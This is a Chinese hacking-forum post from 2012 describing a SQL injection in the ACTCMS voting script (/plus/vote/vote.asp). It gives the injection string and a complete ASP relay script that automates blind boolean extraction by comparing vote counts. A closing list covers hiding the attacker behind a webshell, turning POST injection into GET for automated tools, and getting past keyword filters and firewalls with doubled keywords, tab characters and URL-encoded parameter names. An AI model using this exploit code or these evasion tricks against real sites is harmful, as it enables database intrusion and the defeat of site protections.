找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2087|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
8 Z% p! f4 n  [. d6 d% P- _
看到ninty大牛的blog的一篇文章
4 C6 o- a8 n* m) b链接标记[url]http://www.forjj.com/?action=show&id=80[/url]$ W5 W' u- g& o0 ]/ J
关于actcms漏洞的利用  by 3x qq:3818625894 O- Z( j- G4 f/ \+ K
转载请注明以上
8 e) }2 g! y! A8 q2 ?2 u& \4 k漏洞文件:: _5 U7 J4 P1 F- D* r" o  B) v$ D
/plus/vote/vote.asp
5 Z9 t8 s% s# [. @: f代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    * X( p3 I1 W4 i/ T

2 L1 o* |  A2 L& x2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   ' U0 ?8 {" Y5 G5 \- t8 d

" I  Q' p" A) j" l  D$ \3    response.end    0 ?+ Q0 b9 P; K. U2 W) `

+ f. k2 S9 [" ]0 T3 }% E0 ^4    end if    % b0 Y' t! O9 ~
; a. v& T( r6 k: G: H
5    for i=1 to request("voted").count    4 \3 t# L1 e# N; A7 I) d

% z. P+ ?1 ]; H0 r3 X6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
! Q, ^' I5 n. |" ~4 p3 v' Y! I! L! }: Z; p' K6 P  ?, V
7    next   
# b% X# Z1 n1 e! L0 |
& X' [- A9 r2 s8....   
  e+ P. q: ]" b( ?0 {  G
& H4 Q6 l- O; B2 N! R& z+ B1 Q7 @9response.Redirect "index.asp?id="&id&""   
! l0 ?& `4 H6 M+ Q5 g. R# j投票结束回跳转回index.asp这个投票结果页面
3 w9 }" c, k6 N5 B+ v4 n& A如果投票成功票数加1
+ N: M( d5 S- J; Z. K- L" ?* K% u            失败票数不变+ F5 S' O0 O1 L9 A, W4 l% G
如图:, _1 Z/ M- _/ d" W
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)5 X# K) i8 s' r2 \
& b. z( i1 |( [7 P
2009-12-27 13:20
0 [8 r3 J: Z4 C6 ?  s, C9 g  b+ h; u2 I. I
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
, v: w# L0 |0 m9 e
4 r9 Y1 o( L+ ~8 P- N0 a本帖隐藏的内容需要回复才可以浏览
! _; E! c# @6 R2 M0 L( E2 R" ?我们用注入中转来实现这个注入具体代码如下:
& T$ L% g: I# K# k7 ~4 c* D先用寂寞的刺猬大牛的注入中转生成jmget.asp% D8 b$ k8 h3 W. f  O
注入地址:http://localhost/actcms/plus/vote/vote.asp
1 l6 O( o% Q* A- w注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项, |4 ?4 t3 O" `$ h( M
& U. a  C% j+ R  L7 y' \9 o
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% - ?9 U7 R( m4 \, h3 F3 j
' Q& I! ?8 _8 X6 t/ u0 r
02JmdcwName=request("jmdcw")
7 u' n% r  D" v% u" l  E' i/ l9 A& w2 |" n/ _: [/ P
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
% W2 A% s8 j& s7 C2 R2 c0 k$ ?/ F- ]0 B  t( E
04JmStr="id=1&voted=-1 or 1="&JmdcwName
7 i9 H9 Q$ q* L3 M6 Z4 z3 y, n0 ^8 x2 m, {/ g
05JmStr=URLEncoding(JmStr) # Q6 F- D$ M# C- R4 i

& S% `* b) G. o) f% j- i06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"9 D9 z& [) N5 y
+ J7 T9 |. Q5 r+ l7 j7 b+ O6 j& u1 a
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
/ I0 Q6 A! c" W$ O) Y" V! T6 c2 u$ }$ R1 a& f3 g8 B& j: x/ d! q
08testurl=testurl & "?" & JmStr 3 M' ~& u' W. w
9 Q1 U6 y/ e+ n/ }1 M$ l/ e  d. S
09JMUrl=JMUrl & "?" & JmStr
9 U; ^0 ^. w5 W/ Z( b
! k6 @6 `7 `4 s10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp", _4 {1 [1 M/ e$ _( h* F4 |4 ]3 c
$ q6 \! Q0 {- a  d
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"4 l/ [* i1 |: R( }  F7 G

7 @/ {, p3 `: m% Z12JmCok=replace(JmCok,chr(32),"%20")  6 ^$ F) C. R6 w  u" b

$ `2 h8 J8 U  Y' j2 K13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
+ H" p6 z1 H+ m, Z7 ~& Y3 Y( p% W
& f2 R3 D& U* w; `14  
8 P7 f8 x  D- o, ?! a9 c& x, k! H# _& Q4 ~+ p9 Z# H% P. X
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
  R, J  v( t7 m& A2 ^6 l8 N% Y; t8 i/ Y% i6 A7 p
16  
( D; e) Z: ]5 `. y6 k1 X7 ?) M" L* y) k$ \' ^, [# Q  B2 P
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 : n# e; q' O6 Y3 X; s& o
1 D1 a- V& [2 ?  h8 S
18response.write test1&""&test2&""" X$ d* Q0 a; o; }
# h* t1 C! {* e, a3 ^% @/ ?( ]
19  
+ y1 ^( O6 d3 _. i6 z' @5 P) t. M0 \0 ~, ^6 k
20if test1=test2 then '如前后记录相等,表示失败
/ `% q+ p4 ^5 [+ h& ]6 m7 G" Z8 G: ?# P: J7 P8 Q
21  response.write "failed", W6 r9 B. D* [% N" T. Q/ [3 ?

4 y, F( t# M: w8 O) g22else
& j% B$ P+ X* C  l0 }! G) K9 c7 G2 ^8 H# C$ W/ Q
23  response.write "succeed"
* Y: R0 D; F% E& t1 U. M# l5 ~3 W$ M4 {* y' U- w
24end if  , [, u" q+ U8 a& c/ u4 o

' p3 o2 e" {% q% U4 \: X% P1 Q( [- O3 M25  2 N  [" l: I9 e! a
+ j: g2 l3 H+ N6 G/ e: y" T
26response.write "by 3x"* q* B9 o/ \9 Z! ?/ g4 S$ e
# b2 z3 D4 v9 T! |
27  
+ M8 f; @! a& w3 i
( T$ x$ v$ M; }* V. }28  , u. W4 k( b0 p
$ h: n3 ~. P9 j) ^# T
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   . g' P& g, b3 i4 F8 `9 V% r4 G

$ u8 Y; H* w( q# ]' C) r30Dim Http , @  |% |1 {# ^. |) z3 H

, L( c/ o/ w+ X! O9 f31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
% P- V& i, h) D3 l0 v% ?( c/ L4 w/ K1 q
32With Http
8 q  G- j! R, {
  Z. J* ~  s# i6 w33  
  m& b  F5 p8 n6 ^4 T! z3 E+ D" s: p+ x
34.Open "GET",PostUrl,False
- n) D' g; Z1 I! Y: Z
: D) X8 w  e3 R: R- P35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"1 c" N# P$ t# Q4 S  E+ V

: p) g" t+ P; P! x2 @& Z2 S, G36.SetRequestHeader "Referer",PostRef
/ w0 X9 q6 R6 g; R0 q# H
5 P1 m9 k+ p/ l- E, \37.SetRequestHeader "Cookie",PostCok # D/ M$ Z  E) Q$ W( r# r5 Y
4 C! h, r8 `' j6 L
38.Send ()
0 K8 ]% d3 l; [, A- y* [% B& A5 f. L# r0 h
39PostData = .ResponseBody ! V, Z! R0 m+ ?
$ q% s: _% w! ?
40End With+ I/ X' Z* X2 r
0 R' p& S, a+ {7 r; q5 w( {
41Set Http = Nothing2 K% h4 h5 p) K! U- U8 L7 O' O1 g& u
+ l4 G( n( J3 B
42PostData =bytes2BSTR(PostData)
' M/ Q: w7 z7 W7 T- J+ r: `: t8 `; G6 I' Z
43End Function
0 u! @8 U& w% o; Y( _: R5 g
0 [& |; c$ i+ o9 n4 w' R44  9 C& g, J" t4 X# w+ k* j
) l& _4 I7 o2 Z0 ]
45  7 t; C1 W; }" g+ b! @, q7 a
% P$ W4 W5 k" B$ j7 J1 E/ E
46Function bytes2BSTR(vIn)
5 C( W/ v% G0 C. H3 @6 m( _: Q  V& j
47Dim strReturn
- e4 v8 U. ^! K$ y* F  _# o5 U9 O4 f5 l& w' w7 G: Z
48Dim I, ThisCharCode, NextCharCode
4 ~, X* K8 H5 }+ K" p: f; V$ h/ M# i( w5 D9 j% W( ?1 f
49strReturn = ""0 ?- ^3 G5 I9 h4 c: K6 Q+ ^
5 v( z2 _' M' I7 R& J, t
50For I = 1 To LenB(vIn) * K  `& q& z) x

" v6 y* O+ E; h3 a5 R51ThisCharCode = AscB(MidB(vIn, I, 1)) ' X$ N! s, R% E) K8 n/ l" r* Q
% m$ w- f6 P# K8 M( Q
52If ThisCharCode < &H80 Then
$ m6 z* P8 Z, L$ l% C' j% F4 f1 G% v; r) A3 `' q
53strReturn = strReturn & Chr(ThisCharCode)
* e& ]* Q4 X6 Q! c8 C
$ `$ j, s6 }4 H$ A# s% W54Else0 [8 ?7 o* T1 P4 ]& {
- f& s; ~6 x' d
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
* f7 t  `: c9 V; q9 o$ v3 k; [9 K/ ^, N1 h0 R; u4 r
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
& d, o- J2 q& z" O1 }- U% I3 W8 B/ F  v, {& p5 C
57I = I + 1
  k7 T. {; o0 s. d2 F5 K  J: M; U
" R! A5 N. d! D( O& {0 K3 R  s58End If
  m4 ?! |- ^. z  e; t6 Z
0 C! {5 b1 p$ v1 a, [. r59Next* j* x$ P4 `7 X  b0 t& |' v

6 r* Y; ?' R/ b+ `60bytes2BSTR = strReturn
: y9 u4 r2 l" c  y
3 N* z5 g7 a9 L+ a61End Function
6 j1 T/ A% O( j
( d8 I0 O# h: l4 G7 @62  . x5 G0 T) i2 p

" o3 S$ e0 o: G  G$ t/ {, K! n" a: x% K63Function URLEncoding(vstrin)  
& b0 U9 ^4 Y+ G3 l4 a9 n& S% A. ~3 b) `
64strReturn=""# X9 }' K4 |; a/ w; y

- o- n: K+ w5 F, ]: k, V# C65Dim i
, a# W1 n+ U, z/ L+ b+ e1 w2 W% {$ }6 j& H8 v- n
66For i=1 To Len(vstrin)
  ^  x7 O: l$ J+ s3 I# ?  I: M2 m) G) U2 h. G
67ThisChr=Mid(vstrin,i,1) : {/ B9 M& s6 p; S9 G6 ?

, x' m/ m' m9 y! ^68if Abs(Asc(ThisChr))< &HFF Then' Z/ Y7 R: Y9 q# V, g$ l
; h3 Z2 f8 w$ Z. r( C' P
69strReturn=strReturn & ThisChr
3 C6 T% ~; G' n
  G, \3 {& \" @; m. W70Else7 k, E) M; y* {0 W& U3 ^

' d2 _: E9 l9 S# y, i71InnerCode=Asc(ThisChr)
6 m3 x7 Y8 j4 c+ }! Z$ l. i7 ^0 j
0 ^, `; \3 P" V7 X$ H72If InnerCode<0 Then1 R- u0 h: j& Q$ a
9 _; V5 N+ t0 T
73InnerCode=InnerCode + &H10000 " Q/ P. f$ @5 i# S3 _

: I2 P6 K1 S+ l( I1 }74End If
! S# E9 t  p) d; W4 N/ S$ c, i4 d" w' @- c
75Hight1=(InnerCode And &HFF00) \&HFF / o! J( E  y+ ?9 |9 i

. f! `: D+ V0 Y/ e0 y76Low1=InnerCode And &HFF
1 H! C7 Y  S  E+ D
1 f: I8 D& V1 V4 x77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 8 Q9 H2 B" ~* S& X

' x: x3 R* k5 j6 r3 ]3 S: f; z78End if 9 \' O! F9 ]# w* u/ h

; R3 j; I* C% n79Next
+ r# {( F) l7 s/ p. }0 V
4 v. U7 B/ c6 ]/ T' A80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 / p% v6 N$ {  r& L
2 [' O5 b  J; _
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 ' _9 n% Y& ~2 ~$ f

  }/ z/ ^7 A- h, h4 p: s7 m. N% s$ G82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
$ M) |* `2 m4 L* F& V  {
6 w6 j- o  a' v4 G0 @' r83URLEncoding=strReturn + r  u& r9 T/ A: M

& c! G; ?# `: l( c0 A+ Z7 d84End Function( Q) ]" t# a8 ^8 c5 u8 b
$ V% @5 f) h. R* _( w4 Y* z4 X
85  
  x; H8 {# P0 ~- F; Y) o
4 i& H9 C1 N- N+ @: X% @. j9 N8 T6 Z86function getSt(body)
- q% K4 o2 j$ f- H8 A
7 V8 ?5 }7 {; \  C9 |! D( h9 v, [87  startpot=instr(body,"投票人数:")+len("投票人数:")
; ^* H! o/ ^2 ^% q) K: D2 c, h
3 a4 \8 T. v: d3 s1 I1 U2 M88  endpot=instr(startpot,body," ") 1 r- V5 @9 R/ D5 R: _
7 q3 T# C# l9 V
89  getSt=mid(body,startpot,endpot-startpot) 5 k1 v# u& K$ y2 W  K* k% N- n

8 g6 Q2 ~; G$ G  ~- q& H% I" H90end function 0 H0 z. ?  A4 k5 `$ G4 M( N- ]

* L/ v! R0 B( ^  P% V91%>
( x% r) h3 E4 W/ g注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
* d9 q4 q7 {, L# P. V: F测试下效果:. m2 h# J! t5 K" f" [7 z1 T$ h
投票成功:9 R/ e- L$ ~9 u5 B- I' A
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
0 l( u$ R/ B. u. K' e4 {5 u, P3 n" N" O$ R6 B' D5 ^( z
2009-12-27 13:29
5 l4 y+ R9 t, M5 q  i. y投票失败
  z* p% w& X2 ^2 qhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)+ R/ }7 h: T3 }
1 m' a" c) u2 W! ]0 }& S1 w+ r
2009-12-27 13:29
% r! K! I6 t( C0 ]9 l+ A-------------------------------------------------------------------------------
' a6 x4 F4 \2 ^; J; E9 s再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
5 F- A  y/ P% U很抱歉。。。只能用单线程工具去注入。。。。。
( f  }* t4 w6 [1 _所以失败。。。不好意思。。。
4 @: ?" \! b# |4 q+ E-------------------------------------------------------------------------------
5 V9 w( f' g6 f7 V3 p1 J. T# Z2 [, w2 b0 s2 r  I$ Q8 ]
注入中转的一些其他应用
& H5 A4 q4 m  l$ m3 ~1 v6 O9 q其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
2 y# c, v7 v/ D+ T% }1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
& s8 E$ B- d/ V2.post注入转成get型的注入,方便我们使用工具来跑* H  \3 n8 ]) e% c+ o$ W
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")- T, {4 _  a0 s& J; y3 i. y/ h+ T' F4 d
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
. s" z$ |6 ~, e* e- m0 B# v/ H
- E& @) [& O7 v# @5 T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表